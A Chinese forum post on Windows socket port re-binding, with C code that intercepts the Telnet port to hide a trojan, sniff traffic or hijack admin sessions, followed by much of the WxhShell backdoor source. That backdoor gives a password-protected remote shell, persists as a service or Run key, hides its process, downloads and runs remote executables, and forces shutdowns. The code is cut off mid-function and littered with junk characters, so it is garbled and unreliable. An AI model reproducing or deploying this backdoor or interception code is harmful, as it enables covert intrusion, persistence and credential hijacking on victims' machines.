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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: I |PEC-(  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <x!q! ;  
W D/\f$4  
  saddr.sin_family = AF_INET; %fbV\@jDCX  
<K g=?wb  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); <v=$A]K  
vl`Qz"Xy  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 9f(0 qa  
;C ^!T  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 .j et0w  
$ol]G`+  
  这意味着什么?意味着可以进行如下的攻击: _+sb~  
%wFz4 :  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 }n Ea9h  
MQc<AfW3/  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) N_:H kI6  
bA_/ 6r)u  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 %IA1Y>`  
}4uHT.)  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  v 9,<2  
H^Mfj!S  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 5VS};&f  
Ie<H4G5Vh  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 T\ *#9a  
A ".v+  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 @d&JtA  
TS_5R>R3  
  #include f:9b q}vH  
  #include `w6*(t:T  
  #include (HEi;  
  #include    3 as~yF0  
  DWORD WINAPI ClientThread(LPVOID lpParam);   opXxtYC@  
  int main() d/8p?Km  
  { )_&P:;N  
  WORD wVersionRequested; ndmsXls  
  DWORD ret; o5@d1A  
  WSADATA wsaData; Z bW!c1s{  
  BOOL val; bcR";cE  
  SOCKADDR_IN saddr; ]/9@^D}&  
  SOCKADDR_IN scaddr; x/pX?k  
  int err; B_uhNLd  
  SOCKET s; /~(T[\E<  
  SOCKET sc; J9%I&lu/  
  int caddsize; {xD\w^  
  HANDLE mt; A=Y A#0  
  DWORD tid;   ;tJ}*!z W  
  wVersionRequested = MAKEWORD( 2, 2 ); .Ei#mG-=}&  
  err = WSAStartup( wVersionRequested, &wsaData ); }WA =  
  if ( err != 0 ) { !.G knDT  
  printf("error!WSAStartup failed!\n"); cMfJq}C<  
  return -1; 3jqV/w[-  
  } #0"Pd8@  
  saddr.sin_family = AF_INET; e**<et.  
   *g*~+B :  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 \y(ZeNs  
FUP0X2P   
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); aMJW__,  
  saddr.sin_port = htons(23); ~W2Od2p !  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) sv.?C pE  
  { 7;I;(iY  
  printf("error!socket failed!\n"); ]Sey|/@D  
  return -1; >vR7l&"  
  } GI<3L K\  
  val = TRUE; b$eN]L   
  //SO_REUSEADDR选项就是可以实现端口重绑定的 43}uW, P  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) [Ot<8)Jm  
  { &s(mbpV  
  printf("error!setsockopt failed!\n"); c(kYCVc   
  return -1; O[|_~v:^  
  } j0b>n#e7  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; _ea|E  8  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 wX4gyr  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 +h)1NX;o1  
/u&7!>,  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 0;L.h|R T(  
  { BM o2t'L  
  ret=GetLastError(); :anR/  
  printf("error!bind failed!\n"); [ KDNKK  
  return -1; Z?<&@YQS  
  } G@3Jw[t  
  listen(s,2); JLbmh1'  
  while(1) n%ypxY0  
  { -l~+cI\2  
  caddsize = sizeof(scaddr); +MtxS l  
  //接受连接请求 7<*,O&![|  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 35H.ZXQp-  
  if(sc!=INVALID_SOCKET) aH&Efz^  
  { 6zp]SPY  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); IvX+yU  
  if(mt==NULL) ~_F<"40  
  { uC! dy  
  printf("Thread Creat Failed!\n"); +w2 `  
  break; l*z+<c6$_  
  } \>tx:;D3  
  } C)mR~Ey  
  CloseHandle(mt); KTE X]  
  } V6bjVd9|Z  
  closesocket(s); #= T^XHjQ  
  WSACleanup(); #0f6X,3  
  return 0; c 'rn8Jo}  
  }   U;=1v:~d  
  DWORD WINAPI ClientThread(LPVOID lpParam) <2e[;$  
  { eUKl(  
  SOCKET ss = (SOCKET)lpParam; g_JSgH!4  
  SOCKET sc; Ie[DTy  
  unsigned char buf[4096]; ,B:r^(}0j  
  SOCKADDR_IN saddr; 2BO&OX|X  
  long num; xC9?Wt'  
  DWORD val; Nwg?(h#  
  DWORD ret; fCbd]X  
  //如果是隐藏端口应用的话,可以在此处加一些判断 -Rwx`=6tV  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   @e-2]z  
  saddr.sin_family = AF_INET; #]h&GX  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); iHT=ROL  
  saddr.sin_port = htons(23); -br): }f  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) C{>dE:*K^  
  { LvCX(yjZ*  
  printf("error!socket failed!\n"); v"l8[::  
  return -1; & h\!#X0  
  } IQWoK"B  
  val = 100; !E6Q ED"  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) H@te!EE  
  { iB}*<~`.Eg  
  ret = GetLastError(); RBLOc$2  
  return -1; F+]cFx,/  
  } X2E=2tXl`7  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9 /=+2SZ  
  { lf\^!E:  
  ret = GetLastError(); ; Kh!OBZFo  
  return -1; nwVW'M]r  
  } ^vJy<  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) A: O"N  
  { zJ_y"bt  
  printf("error!socket connect failed!\n"); SPp|/ [i7  
  closesocket(sc); _h I81Lzq  
  closesocket(ss); LvMA('4  
  return -1; hOYP~OR  
  } k3T374t1b  
  while(1) ? U* `!-  
  { !j& #R%D  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 "TVmxE%(  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Y(Y#H$w  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ]QQeUxi  
  num = recv(ss,buf,4096,0); FzAzAl 5  
  if(num>0) ,Fn-SrB:  
  send(sc,buf,num,0); ?aguAqG$  
  else if(num==0) ;?y~ h$  
  break; #itZ~tol  
  num = recv(sc,buf,4096,0); }tQ^ch;Q  
  if(num>0) _:%i6c*"  
  send(ss,buf,num,0); ]!uId#OH  
  else if(num==0) C%|m[,Gx  
  break; Os*s{2OvO  
  } !gcea?I  
  closesocket(ss); @SI,V8i  
  closesocket(sc); !R![:T\,  
  return 0 ; WtC&Qyuq  
  } ]_`ICS  
YRCOh:W*  
RN$>!b/  
========================================================== 6m@B.+1  
Ed+jSO0  
下边附上一个代码,,WXhSHELL lx7]rkWo|a  
e|q~t {=9S  
========================================================== ornU8H`  
(mioKO )?v  
#include "stdafx.h" j@{B 8  
TiR00#b  
#include <stdio.h> EeGTBVms  
#include <string.h> _j*a5fsPU  
#include <windows.h> tns4e\  
#include <winsock2.h> UjMWSPEBy  
#include <winsvc.h> ZSr!L@S  
#include <urlmon.h> ?g:sAR'  
W\<HUd  
#pragma comment (lib, "Ws2_32.lib") bq9/ d4  
#pragma comment (lib, "urlmon.lib") )iJv?Y\]  
xz~Y %Y|Z  
#define MAX_USER   100 // 最大客户端连接数 av_ +M;G  
#define BUF_SOCK   200 // sock buffer Z@bSkO<Y  
#define KEY_BUFF   255 // 输入 buffer {gxP_>  
vpC?JXz=H  
#define REBOOT     0   // 重启 /t*Q"0X5  
#define SHUTDOWN   1   // 关机 csA-<}S5]b  
@1i<=r  
#define DEF_PORT   5000 // 监听端口 Ro;I%j  
mW~*GD~r  
#define REG_LEN     16   // 注册表键长度 s~ou$!|  
#define SVC_LEN     80   // NT服务名长度 6  $`l  
.@ZrmO o]]  
// 从dll定义API sLWVgD  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); HA[7)T N1E  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); < FY%QB)h  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [,{Nu EI  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ";/ogFi  
)i_:[ l6  
// wxhshell配置信息 D G|v' #  
struct WSCFG { FNw]DJ]  
  int ws_port;         // 监听端口 z|t2;j[  
  char ws_passstr[REG_LEN]; // 口令 8m?cvI  
  int ws_autoins;       // 安装标记, 1=yes 0=no / <%EKu5  
  char ws_regname[REG_LEN]; // 注册表键名 'rq@9$h1W  
  char ws_svcname[REG_LEN]; // 服务名 !,C8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 xdVsbW)L2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 xo2j fz  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 i5|)|x3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :i|]iXEI"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  y(#6nG@S  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @( 0O9L F  
~=I:go  
}; fWb+08}C  
^Pah\p4bj  
// default Wxhshell configuration +~=j3U  
struct WSCFG wscfg={DEF_PORT, 4P"XT  
    "xuhuanlingzhe", LXZI|K[}k  
    1, 0g~Cdp  
    "Wxhshell", 3E0C$v KM  
    "Wxhshell", Z{/GT7 /  
            "WxhShell Service", 8n:N#4Dh^  
    "Wrsky Windows CmdShell Service", 0JKTwLhC  
    "Please Input Your Password: ", 5m;BL+>YE  
  1, jfVw{\l  
  "http://www.wrsky.com/wxhshell.exe", sk*vmxClY  
  "Wxhshell.exe" 73nM9  
    }; `sg W0Uf  
nwzyL`kF  
// 消息定义模块 ))nTd=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; oKH+Q6S:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &C)97E  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; gGN 6Yqj0  
char *msg_ws_ext="\n\rExit."; LDYa{w-t  
char *msg_ws_end="\n\rQuit."; \cf'Hj}  
char *msg_ws_boot="\n\rReboot..."; 4eF{Y^   
char *msg_ws_poff="\n\rShutdown..."; +zXcTT[V  
char *msg_ws_down="\n\rSave to "; IVa6?f6H_  
 ;]bW  
char *msg_ws_err="\n\rErr!"; L}'^FqO[IW  
char *msg_ws_ok="\n\rOK!"; P]OUzI,  
LFr$h`_D5  
char ExeFile[MAX_PATH]; ]h=5d09z  
int nUser = 0; AX{7].)F  
HANDLE handles[MAX_USER]; EXwU{Hl  
int OsIsNt; o wI:Qs_/4  
|68u4zK  
SERVICE_STATUS       serviceStatus; @1' Y/dCyD  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; EWY'E;0@5  
E25w^x2  
// 函数声明 P,(_y8  
int Install(void); )o-mM tPj  
int Uninstall(void); 1Dhu 5ht  
int DownloadFile(char *sURL, SOCKET wsh); (_6JQn  
int Boot(int flag); {B e9$$W,  
void HideProc(void); RKM5FXX  
int GetOsVer(void); \ H#"  
int Wxhshell(SOCKET wsl); a5/Dz&>j6  
void TalkWithClient(void *cs); 2+b}FVOe\  
int CmdShell(SOCKET sock); >>"@ 0tO  
int StartFromService(void); ggm'9|  
int StartWxhshell(LPSTR lpCmdLine); lL 50PU  
8TK*VOf`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); gvD*^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /k(wb4Hv  
nLC5FA7<  
// 数据结构和表定义 c=QN!n:  
SERVICE_TABLE_ENTRY DispatchTable[] = Oi]B%Uxy=  
{ Jr= fc*f  
{wscfg.ws_svcname, NTServiceMain}, P,xJVo\  
{NULL, NULL} =BJe}AV  
}; mahNQ5W*)  
=+I-9=  
// 自我安装 ,}"jiGgS4  
int Install(void) @ &Od1X  
{ MJCz %zK  
  char svExeFile[MAX_PATH]; ZLdIEBi=  
  HKEY key; uu"hu||0_  
  strcpy(svExeFile,ExeFile); lN0u1)'2  
8R-;cBT  
// 如果是win9x系统,修改注册表设为自启动 wh2E$b(-  
if(!OsIsNt) { @,-D P41g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _ n1:v~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); shP}T[<  
  RegCloseKey(key); F2ISg'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wA)n ryXV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OVc)PMp  
  RegCloseKey(key); k#7A@Vb  
  return 0; euW   
    } FC||6vJth  
  } SJlE!MK  
} +_u~Np  
else { [hk/Rp7{  
%Pj}  
// 如果是NT以上系统,安装为系统服务 ~jmI`X/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ao[yHcAs  
if (schSCManager!=0) [tElt4uG  
{ ^]~!:Ej0  
  SC_HANDLE schService = CreateService x8~*+ j  
  ( k g Rys  
  schSCManager, OdNcuiLa  
  wscfg.ws_svcname, Zm7, O8  
  wscfg.ws_svcdisp, KmM:V2@A$  
  SERVICE_ALL_ACCESS, NV@$\ <  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , GCX?W`  
  SERVICE_AUTO_START, JNJ6HyCU  
  SERVICE_ERROR_NORMAL, +Z86Qz_  
  svExeFile, u8`S*i/)m  
  NULL, ,'9R/7%s  
  NULL, VZ y$0*  
  NULL, {^^LeUd#V  
  NULL, yy&L&v'  
  NULL K5\l (BB  
  ); ^U96p0H"T  
  if (schService!=0) e@ $|xa")  
  { oA7|s1  
  CloseServiceHandle(schService); h@\HPYi#.  
  CloseServiceHandle(schSCManager); b!`Ze~V  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); r .6?|  
  strcat(svExeFile,wscfg.ws_svcname); ,?Zy4-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ='_3qn.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); i\gt @  
  RegCloseKey(key); IN;9p w  
  return 0; [TFp2B~)#  
    } 7^mQfQv  
  } Ap;^ \5  
  CloseServiceHandle(schSCManager); <*-8E(a  
} m/(/!MVy  
} 7Cbr'!E\_V  
:i@ $s/  
return 1; $b2~H+u(  
} T!HAE#xC  
5,V*aP  
// 自我卸载 "r3h+(5  
int Uninstall(void) 3bjCa\ "  
{ ! hEZV&y  
  HKEY key; H~SU:B:  
D ] n|d+  
if(!OsIsNt) { U>m{B|H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { apgKC;  
  RegDeleteValue(key,wscfg.ws_regname); -1`}|t;  
  RegCloseKey(key); _#+l?\u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *M0O&"~j  
  RegDeleteValue(key,wscfg.ws_regname); `P-d. M6Oa  
  RegCloseKey(key); bAuiMw7!  
  return 0; V[kn'QkWv  
  } L~by`q N_  
} jG)66E*"  
} 0Zo><=  
else { vv<\LN0  
p9mGiK4!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Q)qJ6-R|HD  
if (schSCManager!=0) ^Jdg%U?  
{ #o9CC)q5G  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >i.$s  
  if (schService!=0) jO|`aUY Tf  
  { yf`_?gJ6d  
  if(DeleteService(schService)!=0) {  cz>)6#&O  
  CloseServiceHandle(schService); TBba3%  
  CloseServiceHandle(schSCManager); PYY<  
  return 0; ! r/~D |  
  } G\,B*$3   
  CloseServiceHandle(schService); h4MBw=Tz~  
  } pS7y3(_  
  CloseServiceHandle(schSCManager); 61OlnmvE  
} Gl45HyY_  
} I,,SR"  
aRI.&3-  
return 1; 99,=dzm  
} D!Nc&|X^  
.h4Z\R`  
// 从指定url下载文件 v)nv"o[  
int DownloadFile(char *sURL, SOCKET wsh) {#`wW`U^  
{ R~hIoaiN  
  HRESULT hr; Z?3B1o9  
char seps[]= "/"; m(kv:5<>  
char *token; >9#) obw  
char *file; =?wDQ:  
char myURL[MAX_PATH]; c'Z)uquvP  
char myFILE[MAX_PATH]; TL7qOA7^X  
h^`@%g9 S  
strcpy(myURL,sURL); MBKF8b'k  
  token=strtok(myURL,seps); kApDD[ N  
  while(token!=NULL) /Dt:4{aTOC  
  { ui|6ih$+  
    file=token; T?=]&9Y'  
  token=strtok(NULL,seps); d7zZ~n  
  } b E40^e  
C#1'kQO  
GetCurrentDirectory(MAX_PATH,myFILE); b].U/=Hs  
strcat(myFILE, "\\"); xXmlHo<D  
strcat(myFILE, file); I69Z'}+qz  
  send(wsh,myFILE,strlen(myFILE),0); ]gv3|W  
send(wsh,"...",3,0); O*,O]Q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); KZ^>_K&  
  if(hr==S_OK) wc"~8Ah  
return 0; }j2t8B^&:  
else D;+Y0B  
return 1; w T_l>u  
;:J"- p  
} /7,@q?v  
`_ZbA#R,  
// 系统电源模块 48G^$T{  
int Boot(int flag) BC1smSlJ  
{ ;4/ n~  
  HANDLE hToken; pm i[M)D  
  TOKEN_PRIVILEGES tkp; /~fu,2=7  
erTly2-SJ  
  if(OsIsNt) { 5xNOIOpDB  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); a[sdYZ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -O/[c  
    tkp.PrivilegeCount = 1; V2@( BliP  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2~r2ErtS  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); e},:QL0X  
if(flag==REBOOT) { xt`a":lru  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) J#iuF'%Ds  
  return 0; wq1s#ag<  
} VAyAXN~  
else { ~YviXSW  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j>v8i bS(  
  return 0; {CVZ7tU7]  
} T xpj#JD  
  } dWwb}r(ky  
  else { fLSDt(c',  
if(flag==REBOOT) { d& v 7l  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) J<Ki;_=I  
  return 0; O(.eHZ=  
} h2:TbQ  
else { UX|3LpFX&I  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) t0P_$+w.>  
  return 0; Y(K`3? A  
} 55y{9.n*  
} -JFW ,8=8  
q9InO]s&~=  
return 1; <&)zT#"  
} Pmr'W\aIR  
QAY:H@Gt:  
// win9x进程隐藏模块 +G7[(Wz(z  
void HideProc(void) 7suT26C  
{ j-FMWEp  
JPgFTr  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #E<~WpP  
  if ( hKernel != NULL ) 1UB.2}/:  
  { `G*fx=N  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); LHA :frC  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5C*- v,hF  
    FreeLibrary(hKernel); H,j_2JOY=  
  } ]f wW dtz1  
8/u kzY1!  
return; v6=X]Ji{YA  
} k>!i _lb  
6KN6SN$  
// 获取操作系统版本 zd F;!  
int GetOsVer(void) e-lc2$o7{  
{ X .K*</(g  
  OSVERSIONINFO winfo; :inVwc  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |^F$Ta  
  GetVersionEx(&winfo); j*1MnP3/8Y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^ ~Tn[w W_  
  return 1; ;vpq0t`  
  else n4H'FZ  
  return 0; =~)rT8+)  
} -G=.3 bux  
I;, n|o  
// 客户端句柄模块 *F(<:3;2  
int Wxhshell(SOCKET wsl) ZHoYnp-~z  
{ ~= otdJ  
  SOCKET wsh; 8e`HXU(A  
  struct sockaddr_in client; .&>3nu  
  DWORD myID; >f|0# *  
{5+69&:G.  
  while(nUser<MAX_USER) u{l4O1k/c  
{ UCTc$3  
  int nSize=sizeof(client); 2) 2:KX  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @x *,fk  
  if(wsh==INVALID_SOCKET) return 1; >.XXB 5a  
x{rjngp2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); V%zo[A  
if(handles[nUser]==0) 0B~x8f  
  closesocket(wsh); C}9|e?R[Rz  
else {q;_Dd  
  nUser++; .I^Y[_.G  
  } ;2sP3!*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); KWi|7z(L=  
%S>6Q^B  
  return 0; C 8d9 (u  
} PdRDUG{Jy  
rj1%IzaXU^  
// 关闭 socket |0_5iFAB|  
void CloseIt(SOCKET wsh) E?Qg'|+_  
{ jD6T2K7i  
closesocket(wsh); lfR}cx  
nUser--; :x?G [x=  
ExitThread(0); w2r* $Q  
} ,1v FX$  
v Et+^3=  
// 客户端请求句柄 7p{uRSE4._  
void TalkWithClient(void *cs) OO,%zwgt  
{ #N y+6XM  
2mO9  
  SOCKET wsh=(SOCKET)cs; " #U-*Z7  
  char pwd[SVC_LEN]; 'P%&*%  
  char cmd[KEY_BUFF]; wx2 z9Q  
char chr[1]; QG@Z%P~,E  
int i,j; X|R"8cJ  
]RF(0;  
  while (nUser < MAX_USER) { 5T'v iG}%  
`+UBl\j  
if(wscfg.ws_passstr) { cf%2A1I2W  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zYftgH_o  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +)_DaL E  
  //ZeroMemory(pwd,KEY_BUFF); :8?l=B9("g  
      i=0; /6 y;fx  
  while(i<SVC_LEN) { f\Q_]%^W  
)|Ka'\xr  
  // 设置超时 I3}I7oc_  
  fd_set FdRead; [Qqss8a  
  struct timeval TimeOut; ZiaFByLy  
  FD_ZERO(&FdRead); ,z+n@sUR:  
  FD_SET(wsh,&FdRead); )E6E}  
  TimeOut.tv_sec=8; H8Z|gq1r  
  TimeOut.tv_usec=0; &nY#G HB  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); oS_YQOoD  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @?t+O'&  
&.Yu%=}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #X?E#^6?E  
  pwd=chr[0]; /d$kz&aIV  
  if(chr[0]==0xd || chr[0]==0xa) { N4WX}  
  pwd=0; A 0;ng2&  
  break; e_1L J  
  } w3ZO CWJS  
  i++; 5 <7sVd.  
    } @ xTVX'$  
wV4MP1c$  
  // 如果是非法用户,关闭 socket Nfmr5MU_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); TEC#owz  
} vJb/.)gh]  
j`MK\*qmz  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [Z!oVSCZD%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +9# qNkP  
W"tGCnd  
while(1) { #smfOGSd  
58o&Dv6?  
  ZeroMemory(cmd,KEY_BUFF); U.N& ~S  
Xl>ZnI];  
      // 自动支持客户端 telnet标准   -L wz T  
  j=0; +.xK`_[M  
  while(j<KEY_BUFF) { Lu4>C2{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $3eoZ1q'U-  
  cmd[j]=chr[0]; VpED9l]y  
  if(chr[0]==0xa || chr[0]==0xd) { c/Li,9cT'  
  cmd[j]=0; Zk31|dL  
  break; 1I8<6pi-  
  } WkPT6d  
  j++; q 'uGB fE.  
    } LO38}w<k  
Y&$puiH-j  
  // 下载文件 x l=i_  
  if(strstr(cmd,"http://")) { Lo=n)cV1,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); TT&%[A+  
  if(DownloadFile(cmd,wsh)) }8`>n4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *mW2vJ/B  
  else vxrqUjK7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Mh}vr%0;)  
  } YuoIhT  
  else { `9acR>00$  
<2O XXQ1  
    switch(cmd[0]) { o ethO  
  RE08\gNIt  
  // 帮助 dl3}\o_  
  case '?': { n ON]YDg  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); oZi{v]4  
    break; U/h@Q\~U  
  } STPRC&7;  
  // 安装 Lw<.QMN%f  
  case 'i': { Y6(= cm  
    if(Install()) NGW:hgf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bE3mOml  
    else 9A9T'g)Du  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &/g^J\0M)  
    break; Ss\FSEN!/  
    } ?R4%z2rcW  
  // 卸载 6<f(Zv? I  
  case 'r': { @\a~5CLN  
    if(Uninstall()) U+!&~C^y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WDt6{5T  
    else *0<)PJ T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F]s:`4  
    break; x1}Ono3"T  
    } Uyd'uC  
  // 显示 wxhshell 所在路径 pB7^l|\]  
  case 'p': { 4Ofkagg  
    char svExeFile[MAX_PATH]; A-YW!BT4  
    strcpy(svExeFile,"\n\r"); ]3 QW\k~  
      strcat(svExeFile,ExeFile); q*cEosi'F?  
        send(wsh,svExeFile,strlen(svExeFile),0); r^ABu_u(`I  
    break; 0: B%,n UM  
    } Sar1NkD#  
  // 重启 .=9d3uWJ/  
  case 'b': { 4`") aM  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S,vdd7Y  
    if(Boot(REBOOT)) r Cb#E}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (D{J|  
    else { z :u)@>6D1  
    closesocket(wsh); bc>&Qj2Z7c  
    ExitThread(0); xT!<x({  
    } Ns5P,[pBOZ  
    break; -x|!?u5F  
    } ,,lR\!>8  
  // 关机 "CZv5)  
  case 'd': { M; YJpi  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 32`Z3-  
    if(Boot(SHUTDOWN)) WADEDl&,'  
